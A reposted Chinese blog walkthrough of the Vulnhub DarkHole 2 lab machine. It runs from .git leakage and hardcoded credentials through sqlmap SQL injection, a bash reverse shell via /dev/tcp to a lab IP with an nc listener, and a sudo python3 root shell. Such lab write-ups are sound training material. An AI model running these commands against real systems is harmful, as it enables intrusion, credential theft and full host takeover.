ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

靶机练习 No.23 Vulnhub靶机DarkHole 2 .git信息泄露 .bash_history历史命令提权

2022-02-11 10:03:30  阅读:407  来源: 互联网

标签:sqlmap git No.23 -- 步骤 losy 靶机 bash


靶机练习 No.23 Vulnhub靶机DarkHole 2

0x00 环境准备

  • 靶机下载

      https://download.vulnhub.com/darkhole/darkhole_2.zip
    
  • 启动方式
    VMware 启动

  • 版本信息
    Name: DarkHole: 2
    Date release: 3 Sep 2021
    Author: Jehad Alqurashi
    Series: DarkHole

  • 靶机描述
    ‎‎难度:难‎
    ‎提示:不要浪费你的时间进行暴力破解‎

0x01 信息收集

步骤一:ip 探测

nmap -sP 192.168.157.0/24

探测为 171

步骤二 :端口扫描

nmap -sC -sV -A -p- 192.168.157.171 -o port.txt
在这里插入图片描述
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 57:b1:f5:64:28:98:91:51:6d:70:76:6e:a5:52:43:5d (RSA)
| 256 cc:64:fd:7c:d8:5e:48:8a:28:98:91:b9:e4:1e:6d:a8 (ECDSA)
|_ 256 9e:77:08:a4:52:9f:33:8d:96:19:ba:75:71:27:bd:60 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-git:
| 192.168.157.171:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file ‘description’ to name the…
|_ Last commit message: i changed login.php file for more secure
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: DarkHole V2

可以发现开启了22 和80端口
80端口 扫到 .git目录

0x02 漏洞挖掘

思路一:web漏洞挖掘(.git信息收集)

  1. GitHack.py 脚本 收集泄露的.git信息 代码 (google搜集语法intext:“Index of /.git”)
  2. 从web 80端口 开启BP 审查每个功能点 功能参数,源码敏感信息,js接口
  3. 目录爆破,同上测试
  4. appscan awvs xray 扫描

思路二:22ssh 爆破

  1. 用信息收集到的 账号面 进行爆破登录,或者 自己准备的弱口令字典登录。

步骤一:githack.py收集.git

在这里插入图片描述

脚本地址

https://github.com/lijiejie/GitHack/

python2 运行

python GitHack.py  http://192.168.157.171/.git/

在这里插入图片描述
进入收集到的 目录 tree命令查看
收集到3个目录 11个文件
在这里插入图片描述

步骤二:从git仓库审查代码及数据库文件

(1)config/config.php

在这里插入图片描述

(2)审计index.php login.php dashboard.php

没有收获

步骤三:git-dumper查看git log记录

下载地址

https://github.com/arthaud/git-dumper

(1)脚本递归下载git目录

 python3 git_dumper.py http://192.168.157.171/.git/ website

在这里插入图片描述

(2)git log 查看历史提交记录

cd website
git log

在这里插入图片描述
如图 根据记录 时间和内容得知
第一个 记录为第一次初始化
第二个 记录为
I added login.php file with default credentials
我添加了带有默认凭证的 login.php 文件
说明 可能存在 账号密码

(3) git diff 查看两次的差异

git diff a4d900a8d85e8938d3601f3cef113ee293028e10

在这里插入图片描述
if($_POST[‘email’] == “lush@admin.com” && $_POST[‘password’] == “321”){

发现 账号密码

lush@admin.com 321

步骤四:用账号密码登录web(登录成功)

在这里插入图片描述
在这里插入图片描述

步骤五:寻找后台漏洞getshell

(1)url 存在 id=1 测试sql注入(存在)

  1. ’ 单引号 页面返回500
    在这里插入图片描述

  2. 1’–+ 成功 存在sql注入 单引号闭合

    在这里插入图片描述

步骤六:sqlmap 跑出数据(成功)

直接用bp插件 sqlmap4burp ++

(1) 跑库

–level 2 --risk 3 --dbs --batch --cookie PHPSESSID=fhe95en663mbks5gbshehnljhp
在这里插入图片描述
在这里插入图片描述

(2) 跑表

python “D:\a\sqlmap\sqlmap.py” -r “C:\Users\YOUTHB~1\AppData\Local\Temp\192_168_157_171_80_20220211003920.req” --level 2 --risk 3 --batch --cookie PHPSESSID=fhe95en663mbks5gbshehnljhp -D darkhole_2 --tables
在这里插入图片描述

(3) 跑ssh 和users表的字段名

python “D:\a\sqlmap\sqlmap.py” -r “C:\Users\YOUTHB~1\AppData\Local\Temp\192_168_157_171_80_20220211003920.req” --level 2 --risk 3 --batch --cookie PHPSESSID=fhe95en663mbks5gbshehnljhp -D darkhole_2 -T ssh --columns
在这里插入图片描述
python “D:\a\sqlmap\sqlmap.py” -r “C:\Users\YOUTHB~1\AppData\Local\Temp\192_168_157_171_80_20220211003920.req” --level 2 --risk 3 --batch --cookie PHPSESSID=fhe95en663mbks5gbshehnljhp -D darkhole_2 -T users --columns
在这里插入图片描述

(4) 跑字段值

python “D:\a\sqlmap\sqlmap.py” -r “C:\Users\YOUTHB~1\AppData\Local\Temp\192_168_157_171_80_20220211003920.req” --level 2 --risk 3 --batch --cookie PHPSESSID=fhe95en663mbks5gbshehnljhp -D darkhole_2 -T ssh -C id,user,pass --dump
在这里插入图片描述
python “D:\a\sqlmap\sqlmap.py” -r “C:\Users\YOUTHB~1\AppData\Local\Temp\192_168_157_171_80_20220211003920.req” --level 2 --risk 3 --batch --cookie PHPSESSID=fhe95en663mbks5gbshehnljhp -D darkhole_2 -T users -C id,password,address,contact_number,email,username --dump
在这里插入图片描述

步骤七:跑出的ssh账号登录(成功)

jehad fool
登录成功
在这里插入图片描述

0x03 提权

步骤八:jhead账号信息收集

(1)jhead用户目录下.bash_history信息收集

ls	-al
cat .bash_history

在这里插入图片描述
看起来 9999端口 存在命令执行漏洞

curl "http://127.0.0.1:9999/?cmd=id"

在这里插入图片描述
发现 该服务的启动着为 losy 用户

(2)losy用户目录下发现user.txt文件

在这里插入图片描述

DarkHole{‘This_is_the_life_man_better_than_a_cruise’}
黑洞(这是一种比游轮旅行更好地生活)

步骤九:利用命令执行漏洞反弹losy用户权限(成功)

(1)kali 监听 7777端口

nc -lvvp 7777

(2)靶机执行bash反弹shell命令(url编码)

curl "http://127.0.0.1:9999/?cmd=bash -c 'exec bash -i &>/dev/tcp/192.168.157.137/7777 <&1'"

因为是 curl执行 所以需要url编码 在bpurl 编码

curl "http://127.0.0.1:9999/?cmd=%62%61%73%68%20%2d%63%20%27%65%78%65%63%20%62%61%73%68%20%2d%69%20%26%3e%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%35%37%2e%31%33%37%2f%37%37%37%37%20%3c%26%31%27"

(3)反弹losy shell成功

在这里插入图片描述

(4)切换为完整终端

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+Z
stty -a
stty raw -echo;fg
reset

步骤十:losy用户信息收集

(1)cat .bash_history 查看历史命令

发现有sudo -l 提权的记录
有显示password 为gang
在这里插入图片描述

步骤十一:losy sudo提权(成功)

(1) sudo -l

密码gang
在这里插入图片描述
发现 python3 可以 以 root 身份执行

(2)python3 切换 root shell

sudo python3 -c 'import os; os.system("/bin/sh")'

在这里插入图片描述
在/root目录 发现flag
传说
在这里插入图片描述

0x04 总结

本次靶机通关思路
(1)nmap 扫出80端口存在.git目录
(2)用两个git信息收集脚本,爬取下git目录的文件。
(3)通过git log git diff 查看git 历史提交记录和提交的差异 发现后台登录账号密码
(4)进入后台后通过url 处sql注入 注入出 ssh表的账号密码 登录jhead 的 ssh
(5)通过 jhead 的.bash_history 历史命令 发现 9999端口存在命令执行漏洞反弹losy shell成功
(6)losy 的 .bash_history 历史命令 发现 sudo -l 和密码 gang
(7)通过sudo -l 信息 用python3 切换至root shell。

标签:sqlmap,git,No.23,--,步骤,losy,靶机,bash
来源: https://blog.csdn.net/YouthBelief/article/details/122856667

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有